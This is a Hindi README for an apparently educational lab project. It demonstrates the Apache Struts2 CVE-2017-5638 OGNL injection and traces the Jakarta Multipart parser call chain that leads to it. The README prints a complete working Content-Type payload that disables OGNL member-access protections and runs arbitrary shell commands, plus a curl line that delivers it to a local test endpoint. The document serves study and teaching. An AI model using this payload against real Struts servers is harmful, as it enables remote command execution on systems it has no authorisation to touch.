
Struts2 एप्लिकेशन CVE-2017-5638 के लिए संवेदनशील है। यह बताता है कि OGNL और JakartaMultiPart पार्सर के संबंध में शोषण कैसे काम करता है।
यह केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए है। मैं इस परियोजना की सामग्री या जानकारी के किसी भी अवैध या अनैतिक उपयोग की अनुमति या समर्थन नहीं करता हूँ
वेब ऐप चलाने के लिए:
कमांड भेजने के लिए कमांड लाइन एमुलेटर (Send.jar) का उपयोग करें प्रोजेक्ट:
रिक्त url डिफ़ॉल्ट रूप से http://localhost:8080/MSCybersecurity/exploit पर जाता है, आपको /exploit एंडपॉइंट पर होना चाहिए

यदि आप इस स्रोत को संशोधित करना चाहते हैं, तो प्रोजेक्ट Maven बिल्ड सिस्टम का उपयोग करता है:
NVD CVE-2017-5638
इस कमजोरी का चतुर पहलू OGNL (ऑब्जेक्ट ग्राफ नेविगेशन लाइब्रेरी) का शोषण है।
OGNL कार्य करने के लिए अभिव्यक्तियों का उपयोग करता है, और अनुमत अभिव्यक्तियों में से दो फ्रेमवर्क में मनमानी कक्षाओं को लागू करने और घटनाओं को श्रृंखलाबद्ध करने की क्षमता है। संदर्भ मार्गदर्शिका OGNL भाषा मार्गदर्शिका।
उदाहरण के लिए, OGNL के साथ edu.uvu.ms.cybersecurity.Command ऑब्जेक्ट को इंस्टेंशिएट करना संभव है
// OGNL expression to instantiate Command obj
(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity'))
edu.uvu.ms.cybersecurity.Command वर्ग
// Command simply prints the cmd argument passed from the OGNL expression
public class Command {
private Object cmd;
public Command(Object cmd){
this.cmd = cmd;
}
private void print(){
System.out.println("OGNL recieved cmd: "+this.cmd);
}
public void print(String loc){
System.out.println("OGNL recieved cmd: "+this.cmd+" from "+loc);
}
}
या, अधिक व्यावहारिक अर्थ में, सिस्टम स्तर के कमांड चलाने के लिए java.lang.ProcessBuilder क्लास को लागू किया जा सकता है
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())
निम्नलिखित पेलोड में edu.uvu.ms.cybersecurity.Command को लागू करने और सर्वर को जारी किए गए कमांड को कंसोल में प्रिंट करने और फिर कमांड को निष्पादित करने का एक कमांड शामिल है। (घटनाओं की श्रृंखला और कक्षाओं को लागू करने को चित्रित करने के लिए)
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
CURL के साथ पेलोड डिलीवर करें
curl -H "Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" -X POST http://localhost:8080/MSCybersecurity/exploit
इस पेलोड का एक हिस्सा Rapid7 GitHub से लिया गया था
The Jakarta MultiPart पार्सर:
समस्या यह है कि पार्सर Content-Type हेडर में आने वाले मानों को एस्केप नहीं करता है। इसका मतलब है कि एक OGNL अभिव्यक्ति को Content-Header में पैकेज किया जा सकता है। जब हेडर यह निर्धारित करता है कि यह MultiPart है, तो यह इसे OgnlTextParser.class को भेजता है, जो बस OGNL अभिव्यक्ति की व्याख्या करता है और परिणामस्वरूप मनमानी कमांड निष्पादित करता है।
निम्नलिखित इस बात का चरण-दर-चरण विवरण है कि इस कमजोरी का शोषण कैसे किया जाता है।
Struts2 डिस्पैचर: org.apache.struts2.dispatcher.Dispatcher
Struts Dispatcher.class अनुरोध प्राप्त करता है, और निर्धारित करता है कि इसे JakartaMultiPart लाइब्रेरी द्वारा संभाला जाना चाहिए और MultiPartRequestWrapper() कंस्ट्रक्टर को लागू करता है

Content-Type हेडर से OGNL अभिव्यक्ति फिर parse() विधि में पास की जाती है। क्योंकि हेडर जानकारी खराब है, पार्सर एक अपवाद उठाएगा और buildErrorMessage() विधि को कॉल करेगा

buildErrorMessage() विधि उपयोगकर्ता को वापस करने के लिए एक उपयुक्त त्रुटि संदेश खोजने का प्रयास करती है, हालांकि, ऐसा करने के लिए, इसे LocalizedTextUtil.class की findText() विधि का उपयोग करना होता है

LocalizedTextUtil.class की findText विधि बदले में getDefaultMessage() को कॉल करेगी और Content-Type जानकारी पास करेगी

getDefaultMessage() विधि फिर TextParseUtil.class की translateVariables() विधि को डेलिगेट करेगी

TextParseUtil.class की translateVariables() विधि OgnlTextParser.class की evaluate विधि को डेलिगेट करती है

परिणाम यह होता है कि कोई भी OGNL अभिव्यक्ति अब निष्पादित हो जाती है
